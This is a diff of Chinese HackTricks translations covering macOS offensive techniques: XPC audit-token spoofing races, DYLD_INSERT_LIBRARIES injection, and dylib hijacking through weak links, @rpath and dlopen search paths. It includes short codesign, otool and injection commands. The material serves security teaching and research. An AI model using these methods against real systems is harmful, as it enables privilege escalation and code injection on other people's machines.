@ -23,18 +23,18 @@ Mach 消息通过 _mach 端口_ 发送,这是一个内置于 mach 内核的 **
|
||||
../
|
||||
{{#endref}}
|
||||
|
||||
## 漏洞摘要
|
||||
## 漏洞总结
|
||||
|
||||
你需要知道的是 **XPC 的抽象是一个一对一连接**,但它是基于一种 **可以有多个发送者的技术,因此:**
|
||||
你需要知道的是 **XPC 的抽象是一个一对一的连接**,但它基于一种 **可以有多个发送者的技术,因此:**
|
||||
|
||||
- Mach 端口是单接收者,**多个发送者**。
|
||||
- XPC 连接的审计令牌是 **从最近接收到的消息中复制的审计令牌**。
|
||||
- 获取 XPC 连接的 **审计令牌** 对许多 **安全检查** 至关重要。
|
||||
|
||||
尽管前面的情况听起来很有前景,但在某些场景中这不会导致问题([来自这里](https://sector7.computest.nl/post/2023-10-xpc-audit-token-spoofing)):
|
||||
尽管前面的情况听起来很有前景,但在某些场景中这不会造成问题([来自这里](https://sector7.computest.nl/post/2023-10-xpc-audit-token-spoofing)):
|
||||
|
||||
- 审计令牌通常用于授权检查,以决定是否接受连接。由于这是通过向服务端口发送消息进行的,因此 **尚未建立连接**。在此端口上的更多消息将被视为额外的连接请求。因此,任何 **在接受连接之前的检查都不易受攻击**(这也意味着在 `-listener:shouldAcceptNewConnection:` 中审计令牌是安全的)。因此,我们 **正在寻找验证特定操作的 XPC 连接**。
|
||||
- XPC 事件处理程序是同步处理的。这意味着一个消息的事件处理程序必须在调用下一个之前完成,即使在并发调度队列中。因此,在 **XPC 事件处理程序内部,审计令牌不能被其他正常(非回复!)消息覆盖**。
|
||||
- XPC 事件处理程序是同步处理的。这意味着一个消息的事件处理程序必须在调用下一个之前完成,即使在并发调度队列中。因此,在 **XPC 事件处理程序中,审计令牌不能被其他正常(非回复!)消息覆盖**。
|
||||
|
||||
这可能被利用的两种不同方法:
|
||||
|
||||
@ -42,41 +42,41 @@ Mach 消息通过 _mach 端口_ 发送,这是一个内置于 mach 内核的 **
|
||||
- **利用** **连接** 到服务 **A** 和服务 **B**
|
||||
- 服务 **B** 可以调用服务 A 中用户无法调用的 **特权功能**
|
||||
- 服务 **A** 在 **`dispatch_async`** 中的连接 **事件处理程序** _**外部**_ 调用 **`xpc_connection_get_audit_token`**。
|
||||
- 因此,**不同** 的消息可能会 **覆盖审计令牌**,因为它在事件处理程序外部异步调度。
|
||||
- 利用将 **发送权** 传递给 **服务 B** 的服务 **A**。
|
||||
- 因此,**不同** 的消息可能会 **覆盖审计令牌**,因为它是在事件处理程序外部异步调度的。
|
||||
- 利用将 **发送** 权限传递给 **服务 B** 的服务 **A**。
|
||||
- 因此,服务 **B** 实际上将 **发送** 消息到服务 **A**。
|
||||
- **利用** 尝试 **调用** **特权操作**。在 RC 服务 **A** **检查** 此 **操作** 的授权时,**服务 B 覆盖了审计令牌**(使利用能够调用特权操作)。
|
||||
2. 变体 2:
|
||||
- 服务 **B** 可以调用服务 A 中用户无法调用的 **特权功能**
|
||||
- 利用与 **服务 A** 连接,**服务 A** 向利用发送一条 **期望回复** 的 **消息**,在特定的 **回复** **端口** 中。
|
||||
- 利用与 **服务 A** 连接,**发送** 利用一个 **期望回复** 的消息到特定的 **回复** **端口**。
|
||||
- 利用向 **服务** B 发送一条消息,传递 **该回复端口**。
|
||||
- 当服务 **B 回复** 时,它将 **消息发送到服务 A**,**同时** 利用向服务 **A** 发送不同的 **消息**,试图 **达到特权功能**,并期望服务 B 的回复会在完美的时刻覆盖审计令牌(竞争条件)。
|
||||
- 当服务 **B 回复** 时,它 **将消息发送到服务 A**,**同时** 利用向服务 A 发送不同的 **消息**,试图 **达到特权功能**,并期望服务 B 的回复会在完美的时刻覆盖审计令牌(竞争条件)。
|
||||
|
||||
## 变体 1:在事件处理程序外部调用 xpc_connection_get_audit_token <a href="#variant-1-calling-xpc_connection_get_audit_token-outside-of-an-event-handler" id="variant-1-calling-xpc_connection_get_audit_token-outside-of-an-event-handler"></a>
|
||||
|
||||
场景:
|
||||
|
||||
- 两个 mach 服务 **`A`** 和 **`B`**,我们都可以连接(基于沙箱配置文件和接受连接之前的授权检查)。
|
||||
- 两个 mach 服务 **`A`** 和 **`B`**,我们都可以连接到(基于沙箱配置文件和接受连接之前的授权检查)。
|
||||
- _**A**_ 必须对 **`B`** 可以传递的特定操作进行 **授权检查**(但我们的应用程序不能)。
|
||||
- 例如,如果 B 拥有某些 **权限** 或以 **root** 身份运行,它可能允许他请求 A 执行特权操作。
|
||||
- 对于此授权检查,**`A`** 异步获取审计令牌,例如通过从 **`dispatch_async`** 调用 `xpc_connection_get_audit_token`。
|
||||
|
||||
> [!CAUTION]
|
||||
> 在这种情况下,攻击者可以触发 **竞争条件**,使 **利用** **多次请求 A 执行操作**,同时使 **B 向 `A` 发送消息**。当 RC **成功** 时,**B** 的 **审计令牌** 将在 **利用** 的请求被 **处理** 时复制到内存中,从而使其 **访问只有 B 可以请求的特权操作**。
|
||||
> 在这种情况下,攻击者可以触发 **竞争条件**,使 **利用** **多次请求 A 执行操作**,同时使 **B 向 `A` 发送消息**。当 RC **成功** 时,**B** 的 **审计令牌** 将在 **我们的利用** 的请求被 **处理** 时复制到内存中,从而使其 **访问只有 B 可以请求的特权操作**。
|
||||
|
||||
这发生在 **`A`** 作为 `smd` 和 **`B`** 作为 `diagnosticd`。函数 [`SMJobBless`](https://developer.apple.com/documentation/servicemanagement/1431078-smjobbless?language=objc) 可以用于安装新的特权辅助工具(作为 **root**)。如果 **以 root 身份运行的进程联系** **smd**,将不会执行其他检查。
|
||||
|
||||
因此,服务 **B** 是 **`diagnosticd`**,因为它以 **root** 身份运行并可用于 **监控** 进程,因此一旦监控开始,它将 **每秒发送多条消息**。
|
||||
|
||||
要执行攻击:
|
||||
进行攻击的步骤:
|
||||
|
||||
1. 使用标准 XPC 协议初始化与名为 `smd` 的服务的 **连接**。
|
||||
2. 形成与 `diagnosticd` 的二次 **连接**。与正常程序相反,而不是创建并发送两个新的 mach 端口,客户端端口发送权被替换为与 `smd` 连接相关联的 **发送权** 的副本。
|
||||
3. 结果,XPC 消息可以调度到 `diagnosticd`,但来自 `diagnosticd` 的回复被重定向到 `smd`。对于 `smd` 来说,来自用户和 `diagnosticd` 的消息似乎来自同一连接。
|
||||
2. 形成与 `diagnosticd` 的二次 **连接**。与正常程序相反,而不是创建并发送两个新的 mach 端口,客户端端口发送权限被替换为与 `smd` 连接相关联的 **发送权限** 的副本。
|
||||
3. 结果,XPC 消息可以调度到 `diagnosticd`,但来自 `diagnosticd` 的响应被重定向到 `smd`。对 `smd` 来说,来自用户和 `diagnosticd` 的消息似乎来自同一连接。
|
||||
|
||||

|
||||
|
||||
4. 下一步是指示 `diagnosticd` 启动对所选进程(可能是用户自己的进程)的监控。同时,向 `smd` 发送大量常规 1004 消息。这里的意图是安装具有提升权限的工具。
|
||||
4. 下一步是指示 `diagnosticd` 启动对所选进程(可能是用户自己的进程)的监控。同时,向 `smd` 发送大量常规 1004 消息。此操作的目的是安装具有提升权限的工具。
|
||||
5. 此操作触发 `handle_bless` 函数中的竞争条件。时机至关重要:`xpc_connection_get_pid` 函数调用必须返回用户进程的 PID(因为特权工具位于用户的应用程序包中)。然而,`xpc_connection_get_audit_token` 函数,特别是在 `connection_is_authorized` 子例程中,必须引用属于 `diagnosticd` 的审计令牌。
|
||||
|
||||
## 变体 2:回复转发
|
||||
@ -86,20 +86,20 @@ Mach 消息通过 _mach 端口_ 发送,这是一个内置于 mach 内核的 **
|
||||
1. **`xpc_connection_send_message_with_reply`**:在这里,XPC 消息在指定队列上接收和处理。
|
||||
2. **`xpc_connection_send_message_with_reply_sync`**:相反,在此方法中,XPC 消息在当前调度队列上接收和处理。
|
||||
|
||||
这种区别至关重要,因为它允许 **回复数据包与 XPC 事件处理程序的执行并发解析**。值得注意的是,虽然 `_xpc_connection_set_creds` 确实实现了锁定以防止审计令牌的部分覆盖,但它并未将此保护扩展到整个连接对象。因此,这造成了一个漏洞,即审计令牌可以在解析数据包和执行其事件处理程序之间的间隔中被替换。
|
||||
这种区别至关重要,因为它允许 **回复数据包与 XPC 事件处理程序的执行并发解析**。值得注意的是,虽然 `_xpc_connection_set_creds` 确实实现了锁定以防止审计令牌的部分覆盖,但它并未将此保护扩展到整个连接对象。因此,这造成了一个漏洞,在解析数据包和执行其事件处理程序之间的间隔中,审计令牌可能会被替换。
|
||||
|
||||
要利用此漏洞,需要以下设置:
|
||||
|
||||
- 两个 mach 服务,称为 **`A`** 和 **`B`**,都可以建立连接。
|
||||
- 服务 **`A`** 应包括对只有 **`B`** 可以执行的特定操作的授权检查(用户的应用程序无法)。
|
||||
- 服务 **`A`** 应发送一条期望回复的消息。
|
||||
- 服务 **`A`** 应该对只有 **`B`** 可以执行的特定操作进行授权检查(用户的应用程序无法)。
|
||||
- 服务 **`A`** 应该发送一条期望回复的消息。
|
||||
- 用户可以向 **`B`** 发送一条消息,**B** 将对此进行回复。
|
||||
|
||||
利用过程涉及以下步骤:
|
||||
|
||||
1. 等待服务 **`A`** 发送一条期望回复的消息。
|
||||
2. 而不是直接回复 **`A`**,回复端口被劫持并用于向服务 **`B`** 发送消息。
|
||||
3. 随后,发送一条涉及禁止操作的消息,期望它将与来自 **`B`** 的回复并发处理。
|
||||
2. 不直接回复 **`A`**,而是劫持回复端口并用于向服务 **`B`** 发送消息。
|
||||
3. 随后,发送涉及禁止操作的消息,期望它与来自 **`B`** 的回复并发处理。
|
||||
|
||||
以下是所描述攻击场景的可视化表示:
|
||||
|
||||
@ -111,7 +111,7 @@ Mach 消息通过 _mach 端口_ 发送,这是一个内置于 mach 内核的 **
|
||||
|
||||
- **定位实例的困难**:静态和动态搜索 `xpc_connection_get_audit_token` 使用实例都很具挑战性。
|
||||
- **方法论**:使用 Frida 钩住 `xpc_connection_get_audit_token` 函数,过滤不来自事件处理程序的调用。然而,这种方法仅限于被钩住的进程,并且需要主动使用。
|
||||
- **分析工具**:使用 IDA/Ghidra 等工具检查可达的 mach 服务,但该过程耗时,复杂性增加,涉及 dyld 共享缓存的调用。
|
||||
- **分析工具**:使用 IDA/Ghidra 等工具检查可达的 mach 服务,但该过程耗时,且由于涉及 dyld 共享缓存的调用而复杂。
|
||||
- **脚本限制**:尝试为从 `dispatch_async` 块调用 `xpc_connection_get_audit_token` 的分析编写脚本时,由于解析块和与 dyld 共享缓存的交互的复杂性而受到阻碍。
|
||||
|
||||
## 修复 <a href="#the-fix" id="the-fix"></a>
|
||||
|
||||
@ -3,7 +3,7 @@
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
> [!CAUTION]
|
||||
> **dyld 的代码是开源的**,可以在 [https://opensource.apple.com/source/dyld/](https://opensource.apple.com/source/dyld/) 找到,并且可以使用 **URL 如** [https://opensource.apple.com/tarballs/dyld/dyld-852.2.tar.gz](https://opensource.apple.com/tarballs/dyld/dyld-852.2.tar.gz) 下载为 tar 文件。
|
||||
> **dyld 的代码是开源的**,可以在 [https://opensource.apple.com/source/dyld/](https://opensource.apple.com/source/dyld/) 找到,并且可以使用 **URL 如** [https://opensource.apple.com/tarballs/dyld/dyld-852.2.tar.gz](https://opensource.apple.com/tarballs/dyld/dyld-852.2.tar.gz) 下载为 tar。
|
||||
|
||||
## **Dyld 进程**
|
||||
|
||||
@ -19,32 +19,32 @@ macos-dyld-process.md
|
||||
|
||||
此技术也可以 **作为 ASEP 技术使用**,因为每个安装的应用程序都有一个名为 "Info.plist" 的 plist,允许使用名为 `LSEnvironmental` 的键 **分配环境变量**。
|
||||
|
||||
> [!NOTE]
|
||||
> 自 2012 年以来,**Apple 大幅减少了** **`DYLD_INSERT_LIBRARIES`** 的功能。
|
||||
> [!TIP]
|
||||
> 自 2012 年以来,**Apple 大幅减少了** **`DYLD_INSERT_LIBRARIES`** 的权限。
|
||||
>
|
||||
> 查看代码并 **检查 `src/dyld.cpp`**。在函数 **`pruneEnvironmentVariables`** 中,您可以看到 **`DYLD_*`** 变量被移除。
|
||||
>
|
||||
> 在函数 **`processRestricted`** 中,设置了限制的原因。检查该代码,您可以看到原因是:
|
||||
> 在函数 **`processRestricted`** 中,设置了限制的原因。检查该代码,您可以看到原因包括:
|
||||
>
|
||||
> - 二进制文件是 `setuid/setgid`
|
||||
> - macho 二进制文件中存在 `__RESTRICT/__restrict` 部分。
|
||||
> - 软件具有权限(强化运行时),但没有 [`com.apple.security.cs.allow-dyld-environment-variables`](https://developer.apple.com/documentation/bundleresources/entitlements/com_apple_security_cs_allow-dyld-environment-variables) 权限
|
||||
> - 使用以下命令检查二进制文件的 **权限**: `codesign -dv --entitlements :- </path/to/bin>`
|
||||
> - 软件具有权限(强化运行时),但没有 [`com.apple.security.cs.allow-dyld-environment-variables`](https://developer.apple.com/documentation/bundleresources/entitlements/com_apple_security_cs_allow-dyld-environment-variables) 权限。
|
||||
> - 使用以下命令检查二进制文件的 **权限**:`codesign -dv --entitlements :- </path/to/bin>`
|
||||
>
|
||||
> 在更新版本中,您可以在函数 **`configureProcessRestrictions`** 的第二部分找到此逻辑。然而,在较新版本中执行的是该函数的 **初始检查**(您可以删除与 iOS 或模拟相关的 if,因为这些在 macOS 中不会使用)。
|
||||
> 在更新版本中,您可以在函数 **`configureProcessRestrictions`** 的第二部分找到此逻辑。然而,在较新版本中执行的是函数的 **开始检查**(您可以删除与 iOS 或模拟相关的 if,因为这些在 macOS 中不会使用)。
|
||||
|
||||
### 库验证
|
||||
|
||||
即使二进制文件允许使用 **`DYLD_INSERT_LIBRARIES`** 环境变量,如果二进制文件检查要加载的库的签名,它也不会加载自定义库。
|
||||
|
||||
为了加载自定义库,二进制文件需要具有 **以下权限之一**:
|
||||
为了加载自定义库,二进制文件需要具有 **以下任一权限**:
|
||||
|
||||
- [`com.apple.security.cs.disable-library-validation`](../../macos-security-protections/macos-dangerous-entitlements.md#com.apple.security.cs.disable-library-validation)
|
||||
- [`com.apple.private.security.clear-library-validation`](../../macos-security-protections/macos-dangerous-entitlements.md#com.apple.private.security.clear-library-validation)
|
||||
|
||||
或者二进制文件 **不应该** 具有 **强化运行时标志** 或 **库验证标志**。
|
||||
|
||||
您可以使用 `codesign --display --verbose <bin>` 检查二进制文件是否具有 **强化运行时**,检查 **`CodeDirectory`** 中的 runtime 标志,如:**`CodeDirectory v=20500 size=767 flags=0x10000(runtime) hashes=13+7 location=embedded`**
|
||||
您可以使用 `codesign --display --verbose <bin>` 检查二进制文件是否具有 **强化运行时**,检查 **`CodeDirectory`** 中的 runtime 标志,如:**`CodeDirectory v=20500 size=767 flags=0x10000(runtime) hashes=13+7 location=embedded`**。
|
||||
|
||||
如果库 **使用与二进制文件相同的证书签名**,您也可以加载该库。
|
||||
|
||||
@ -60,13 +60,13 @@ macos-dyld-hijacking-and-dyld_insert_libraries.md
|
||||
> 请记住,**先前的库验证限制也适用于** 执行 Dylib 劫持攻击。
|
||||
|
||||
与 Windows 一样,在 MacOS 中,您也可以 **劫持 dylibs** 使 **应用程序** **执行** **任意** **代码**(实际上,从普通用户的角度来看,这可能不可行,因为您可能需要 TCC 权限才能在 `.app` 包内写入并劫持库)。\
|
||||
然而,**MacOS** 应用程序 **加载** 库的方式 **比 Windows 更受限制**。这意味着 **恶意软件** 开发人员仍然可以使用此技术进行 **隐蔽**,但能够 **滥用此技术以提升权限的可能性要低得多**。
|
||||
然而,**MacOS** 应用程序 **加载** 库的方式 **比 Windows 更受限制**。这意味着 **恶意软件** 开发者仍然可以使用此技术进行 **隐蔽**,但能够 **滥用此技术以提升权限的可能性要低得多**。
|
||||
|
||||
首先,**更常见** 的情况是 **MacOS 二进制文件指示要加载的库的完整路径**。其次,**MacOS 从不在 **$PATH** 的文件夹中搜索库**。
|
||||
|
||||
与此功能相关的 **主要** 代码部分在 **`ImageLoader::recursiveLoadLibraries`** 中,位于 `ImageLoader.cpp`。
|
||||
|
||||
macho 二进制文件可以使用 **4 种不同的头命令** 来加载库:
|
||||
macho 二进制文件可以使用 **4 种不同的头部命令** 来加载库:
|
||||
|
||||
- **`LC_LOAD_DYLIB`** 命令是加载 dylib 的常用命令。
|
||||
- **`LC_LOAD_WEAK_DYLIB`** 命令的工作方式与前一个相同,但如果未找到 dylib,执行将继续而不会出现错误。
|
||||
@ -75,7 +75,7 @@ macho 二进制文件可以使用 **4 种不同的头命令** 来加载库:
|
||||
|
||||
然而,有 **2 种类型的 dylib 劫持**:
|
||||
|
||||
- **缺失的弱链接库**:这意味着应用程序将尝试加载一个不存在的库,配置为 **LC_LOAD_WEAK_DYLIB**。然后,**如果攻击者在预期加载的位置放置了一个 dylib**。
|
||||
- **缺失的弱链接库**:这意味着应用程序将尝试加载一个不存在的库,该库配置为 **LC_LOAD_WEAK_DYLIB**。然后,**如果攻击者在预期加载的位置放置了一个 dylib**。
|
||||
- 链接是“弱”的事实意味着即使未找到库,应用程序仍将继续运行。
|
||||
- 与此相关的 **代码** 在 `ImageLoaderMachO::doGetDependentLibraries` 函数中,`lib->required` 仅在 `LC_LOAD_WEAK_DYLIB` 为 true 时为 `false`。
|
||||
- **在二进制文件中查找弱链接库**(稍后您将看到如何创建劫持库的示例):
|
||||
@ -89,22 +89,22 @@ compatibility version 1.0.0
|
||||
```
|
||||
- **配置为 @rpath**:Mach-O 二进制文件可以具有 **`LC_RPATH`** 和 **`LC_LOAD_DYLIB`** 命令。根据这些命令的 **值**,**库** 将从 **不同目录** 加载。
|
||||
- **`LC_RPATH`** 包含用于通过二进制文件加载库的一些文件夹的路径。
|
||||
- **`LC_LOAD_DYLIB`** 包含要加载的特定库的路径。这些路径可以包含 **`@rpath`**,将由 **`LC_RPATH`** 中的值 **替换**。如果 **`LC_RPATH`** 中有多个路径,将使用所有路径来搜索要加载的库。例如:
|
||||
- 如果 **`LC_LOAD_DYLIB`** 包含 `@rpath/library.dylib`,而 **`LC_RPATH`** 包含 `/application/app.app/Contents/Framework/v1/` 和 `/application/app.app/Contents/Framework/v2/`。这两个文件夹将用于加载 `library.dylib`**。** 如果库在 `[...]/v1/` 中不存在,攻击者可以将其放置在那里以劫持在 `[...]/v2/` 中加载库,因为 **`LC_LOAD_DYLIB`** 中的路径顺序被遵循。
|
||||
- **在二进制文件中查找 rpath 路径和库**: `otool -l </path/to/binary> | grep -E "LC_RPATH|LC_LOAD_DYLIB" -A 5`
|
||||
- **`LC_LOAD_DYLIB`** 包含要加载的特定库的路径。这些路径可以包含 **`@rpath`**,将被 **`LC_RPATH`** 中的值 **替换**。如果 **`LC_RPATH`** 中有多个路径,将使用所有路径来搜索要加载的库。例如:
|
||||
- 如果 **`LC_LOAD_DYLIB`** 包含 `@rpath/library.dylib`,而 **`LC_RPATH`** 包含 `/application/app.app/Contents/Framework/v1/` 和 `/application/app.app/Contents/Framework/v2/`。这两个文件夹将用于加载 `library.dylib`**。** 如果库在 `[...]/v1/` 中不存在,攻击者可以将其放置在那里以劫持在 `[...]/v2/` 中加载库,因为遵循 **`LC_LOAD_DYLIB`** 中路径的顺序。
|
||||
- **在二进制文件中查找 rpath 路径和库**:`otool -l </path/to/binary> | grep -E "LC_RPATH|LC_LOAD_DYLIB" -A 5`
|
||||
|
||||
> [!NOTE] > **`@executable_path`**:是包含 **主可执行文件** 的 **目录** 的 **路径**。
|
||||
> [!NOTE] > **`@executable_path`**:是 **主可执行文件** 所在目录的 **路径**。
|
||||
>
|
||||
> **`@loader_path`**:是包含 **Mach-O 二进制文件** 的 **目录** 的 **路径**,该文件包含加载命令。
|
||||
> **`@loader_path`**:是 **包含** 加载命令的 **Mach-O 二进制文件** 所在 **目录** 的 **路径**。
|
||||
>
|
||||
> - 在可执行文件中使用时,**`@loader_path`** 实际上与 **`@executable_path`** 相同。
|
||||
> - 在 **dylib** 中使用时,**`@loader_path`** 给出 **dylib** 的 **路径**。
|
||||
> - 当在可执行文件中使用时,**`@loader_path`** 实际上与 **`@executable_path`** 是 **相同的**。
|
||||
> - 当在 **dylib** 中使用时,**`@loader_path`** 给出 **dylib** 的 **路径**。
|
||||
|
||||
滥用此功能以 **提升权限** 的方式是在 **应用程序** 由 **root** 执行的情况下,**查找** 攻击者具有写权限的某个文件夹中的 **库**。
|
||||
滥用此功能以 **提升权限** 的方式是在 **应用程序** 由 **root** 执行时,**查找** 在攻击者具有写权限的某个文件夹中的 **库**。
|
||||
|
||||
> [!TIP]
|
||||
> 一个很好的 **扫描器** 用于查找应用程序中的 **缺失库** 是 [**Dylib Hijack Scanner**](https://objective-see.com/products/dhs.html) 或 [**CLI 版本**](https://github.com/pandazheng/DylibHijack)。\
|
||||
> 有关此技术的 **技术细节** 的很好的 **报告** 可以在 [**这里**](https://www.virusbulletin.com/virusbulletin/2015/03/dylib-hijacking-os-x) 找到。
|
||||
> 关于此技术的 **技术细节** 的很好的 **报告** 可以在 [**这里**](https://www.virusbulletin.com/virusbulletin/2015/03/dylib-hijacking-os-x) 找到。
|
||||
|
||||
**示例**
|
||||
|
||||
@ -131,40 +131,40 @@ macos-dyld-hijacking-and-dyld_insert_libraries.md
|
||||
> 如果名称中没有斜杠,则有 2 种方式进行劫持:
|
||||
>
|
||||
> - 如果任何 **`LC_RPATH`** 是 **可写的**(但签名会被检查,因此为此您还需要二进制文件不受限制)
|
||||
> - 如果二进制文件是 **不受限制的**,那么可以从 CWD 加载某些内容(或滥用提到的环境变量之一)
|
||||
> - 如果二进制文件是 **不受限制的**,那么可以从 CWD 加载某些内容(或滥用上述提到的环境变量之一)
|
||||
|
||||
- 当路径 **看起来像框架** 路径(例如 `/stuff/foo.framework/foo`)时,如果 **`$DYLD_FRAMEWORK_PATH`** 在启动时设置,dyld 将首先在该目录中查找 **框架部分路径**(例如 `foo.framework/foo`)。接下来,dyld 将尝试 **按原样使用提供的路径**(使用当前工作目录进行相对路径)。最后,对于旧二进制文件,dyld 将尝试一些后备方案。如果 **`$DYLD_FALLBACK_FRAMEWORK_PATH`** 在启动时设置,dyld 将在这些目录中搜索。否则,它将搜索 **`/Library/Frameworks`**(在 macOS 上,如果进程不受限制),然后是 **`/System/Library/Frameworks`**。
|
||||
- 当路径 **看起来像框架** 路径(例如 `/stuff/foo.framework/foo`)时,如果 **`$DYLD_FRAMEWORK_PATH`** 在启动时设置,dyld 将首先在该目录中查找 **框架部分路径**(例如 `foo.framework/foo`)。接下来,dyld 将尝试 **按原样使用提供的路径**(对相对路径使用当前工作目录)。最后,对于旧二进制文件,dyld 将尝试一些后备方案。如果 **`$DYLD_FALLBACK_FRAMEWORK_PATH`** 在启动时设置,dyld 将在这些目录中搜索。否则,它将搜索 **`/Library/Frameworks`**(在 macOS 上,如果进程不受限制),然后 **`/System/Library/Frameworks`**。
|
||||
1. `$DYLD_FRAMEWORK_PATH`
|
||||
2. 提供的路径(如果不受限制,则使用当前工作目录进行相对路径)
|
||||
2. 提供的路径(如果不受限制,则对相对路径使用当前工作目录)
|
||||
3. `$DYLD_FALLBACK_FRAMEWORK_PATH`
|
||||
4. `/Library/Frameworks`(如果不受限制)
|
||||
5. `/System/Library/Frameworks`
|
||||
|
||||
> [!CAUTION]
|
||||
> 如果是框架路径,劫持它的方法是:
|
||||
> 如果是框架路径,劫持的方式将是:
|
||||
>
|
||||
> - 如果进程是 **不受限制的**,滥用 **相对路径从 CWD** 和提到的环境变量(即使文档中没有说明,如果进程受限,DYLD_* 环境变量会被移除)
|
||||
> - 如果进程是 **不受限制的**,滥用 **相对路径从 CWD** 和提到的环境变量(即使文档中没有说明,如果进程受限制,DYLD_* 环境变量会被移除)
|
||||
|
||||
- 当路径 **包含斜杠但不是框架路径**(即到 dylib 的完整路径或部分路径)时,dlopen() 首先在(如果设置) **`$DYLD_LIBRARY_PATH`** 中查找(使用路径的叶部分)。接下来,dyld **尝试提供的路径**(使用当前工作目录进行相对路径(但仅适用于不受限制的进程))。最后,对于旧二进制文件,dyld 将尝试后备方案。如果 **`$DYLD_FALLBACK_LIBRARY_PATH`** 在启动时设置,dyld 将在这些目录中搜索,否则,dyld 将在 **`/usr/local/lib/`** 中查找(如果进程不受限制),然后在 **`/usr/lib/`** 中查找。
|
||||
- 当路径 **包含斜杠但不是框架路径**(即到 dylib 的完整路径或部分路径)时,dlopen() 首先在(如果设置) **`$DYLD_LIBRARY_PATH`** 中查找(使用路径的叶部分)。接下来,dyld **尝试提供的路径**(对相对路径使用当前工作目录(但仅适用于不受限制的进程))。最后,对于旧二进制文件,dyld 将尝试后备方案。如果 **`$DYLD_FALLBACK_LIBRARY_PATH`** 在启动时设置,dyld 将在这些目录中搜索,否则,dyld 将在 **`/usr/local/lib/`** 中查找(如果进程不受限制),然后在 **`/usr/lib/`** 中查找。
|
||||
1. `$DYLD_LIBRARY_PATH`
|
||||
2. 提供的路径(如果不受限制,则使用当前工作目录进行相对路径)
|
||||
2. 提供的路径(如果不受限制,则对相对路径使用当前工作目录)
|
||||
3. `$DYLD_FALLBACK_LIBRARY_PATH`
|
||||
4. `/usr/local/lib/`(如果不受限制)
|
||||
5. `/usr/lib/`
|
||||
|
||||
> [!CAUTION]
|
||||
> 如果名称中有斜杠且不是框架,则劫持它的方法是:
|
||||
> 如果名称中有斜杠且不是框架,则劫持的方式将是:
|
||||
>
|
||||
> - 如果二进制文件是 **不受限制的**,那么可以从 CWD 或 `/usr/local/lib` 加载某些内容(或滥用提到的环境变量之一)
|
||||
> - 如果二进制文件是 **不受限制的**,那么可以从 CWD 或 `/usr/local/lib` 加载某些内容(或滥用上述提到的环境变量之一)
|
||||
|
||||
> [!NOTE]
|
||||
> [!TIP]
|
||||
> 注意:没有配置文件来 **控制 dlopen 搜索**。
|
||||
>
|
||||
> 注意:如果主可执行文件是 **set\[ug]id 二进制文件或具有权限的代码签名**,则 **所有环境变量都会被忽略**,只能使用完整路径([检查 DYLD_INSERT_LIBRARIES 限制](macos-dyld-hijacking-and-dyld_insert_libraries.md#check-dyld_insert_librery-restrictions)以获取更详细的信息)
|
||||
> 注意:如果主可执行文件是 **set\[ug]id 二进制文件或具有权限的代码签名**,则 **所有环境变量都将被忽略**,只能使用完整路径([检查 DYLD_INSERT_LIBRARIES 限制](macos-dyld-hijacking-and-dyld_insert_libraries.md#check-dyld_insert_librery-restrictions)以获取更详细的信息)。
|
||||
>
|
||||
> 注意:Apple 平台使用“通用”文件来组合 32 位和 64 位库。这意味着没有 **单独的 32 位和 64 位搜索路径**。
|
||||
>
|
||||
> 注意:在 Apple 平台上,大多数操作系统 dylibs 被 **组合到 dyld 缓存中**,并且不在磁盘上存在。因此,调用 **`stat()`** 预检操作系统 dylib 是否存在 **将不起作用**。但是,**`dlopen_preflight()`** 使用与 **`dlopen()`** 相同的步骤来查找兼容的 mach-o 文件。
|
||||
> 注意:在 Apple 平台上,大多数操作系统 dylibs 被 **组合到 dyld 缓存中**,并且在磁盘上不存在。因此,调用 **`stat()`** 以预检操作系统 dylib 是否存在 **将不起作用**。然而,**`dlopen_preflight()`** 使用与 **`dlopen()`** 相同的步骤来查找兼容的 mach-o 文件。
|
||||
|
||||
**检查路径**
|
||||
|
||||
@ -307,7 +307,7 @@ codesign -f -s <cert-name> --option=restrict hello-signed
|
||||
DYLD_INSERT_LIBRARIES=inject.dylib ./hello-signed # Won't work
|
||||
```
|
||||
> [!CAUTION]
|
||||
> 请注意,即使有二进制文件带有标志 **`0x0(none)`**,它们在执行时也可以动态获得 **`CS_RESTRICT`** 标志,因此此技术在它们中将不起作用。
|
||||
> 请注意,即使有二进制文件带有标志 **`0x0(none)`**,它们在执行时也可以动态获得 **`CS_RESTRICT`** 标志,因此此技术在它们上将无法工作。
|
||||
>
|
||||
> 您可以使用 (get [**csops here**](https://github.com/axelexic/CSOps)) 检查进程是否具有此标志:
|
||||
>
|
||||
|
||||
@ -17,22 +17,22 @@ Mach-o 二进制文件的真正 **入口点** 是动态链接的,定义在 `LC
|
||||
|
||||
Dyld 将由 **`dyldboostrap::start`** 加载,这也会加载诸如 **栈金丝雀** 之类的内容。这是因为这个函数将在其 **`apple`** 参数向量中接收这些和其他 **敏感** **值**。
|
||||
|
||||
**`dyls::_main()`** 是 dyld 的入口点,它的第一个任务是运行 `configureProcessRestrictions()`,通常会限制 **`DYLD_*`** 环境变量,详见:
|
||||
**`dyls::_main()`** 是 dyld 的入口点,它的第一个任务是运行 `configureProcessRestrictions()`,通常会限制 **`DYLD_*`** 环境变量,具体解释如下:
|
||||
|
||||
{{#ref}}
|
||||
./
|
||||
{{#endref}}
|
||||
|
||||
然后,它映射 dyld 共享缓存,该缓存预链接所有重要的系统库,然后映射二进制文件所依赖的库,并递归继续,直到所有所需的库都加载完成。因此:
|
||||
然后,它映射 dyld 共享缓存,该缓存预链接所有重要的系统库,然后映射二进制文件所依赖的库,并递归继续,直到所有所需的库都被加载。因此:
|
||||
|
||||
1. 它开始加载插入的库,使用 `DYLD_INSERT_LIBRARIES`(如果允许)
|
||||
2. 然后是共享缓存的库
|
||||
3. 然后是导入的库
|
||||
4. 然后继续递归导入库
|
||||
|
||||
一旦所有库都加载完成,这些库的 **初始化器** 将被运行。这些是使用 **`__attribute__((constructor))`** 编码的,定义在 `LC_ROUTINES[_64]`(现已弃用)或通过指针在标记为 `S_MOD_INIT_FUNC_POINTERS` 的部分中(通常是:**`__DATA.__MOD_INIT_FUNC`**)。
|
||||
一旦所有库都加载完成,这些库的 **初始化器** 将被运行。这些是使用 **`__attribute__((constructor))`** 编写的,定义在 `LC_ROUTINES[_64]`(现已弃用)中,或通过指针在标记为 `S_MOD_INIT_FUNC_POINTERS` 的部分中(通常是:**`__DATA.__MOD_INIT_FUNC`**)。
|
||||
|
||||
终结器使用 **`__attribute__((destructor))`** 编码,并位于标记为 `S_MOD_TERM_FUNC_POINTERS` 的部分中(**`__DATA.__mod_term_func`**)。
|
||||
